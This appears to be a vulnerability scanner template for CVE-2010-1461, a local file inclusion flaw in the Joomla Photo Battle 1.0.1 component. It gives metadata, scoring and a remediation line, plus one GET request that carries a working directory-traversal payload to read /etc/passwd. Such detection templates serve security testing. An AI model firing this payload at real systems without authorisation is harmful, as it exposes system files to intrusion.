id: CVE-2010-1461

info:
  name: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Photo Battle (com_photobattle) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via the view parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! application.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12232
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1461
    - http://www.exploit-db.com/exploits/12232
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1461
    cwe-id: CWE-22
    epss-score: 0.04686
    epss-percentile: 0.89475
    cpe: cpe:2.3:a:gogoritas:com_photobattle:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gogoritas
    product: com_photobattle
  tags: cve,cve2010,joomla,lfi,photo,edb,gogoritas,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206caccb7ba09a3a5f5d5a343196efe1a674d0dd0b1b3c5b81e6c6785cd21b7414022100b911038fb3757c043a7fc64218711ad60a3581fac2b06a9a20ac1c52797ef127:922c64590222798bb761d5b6d8e72950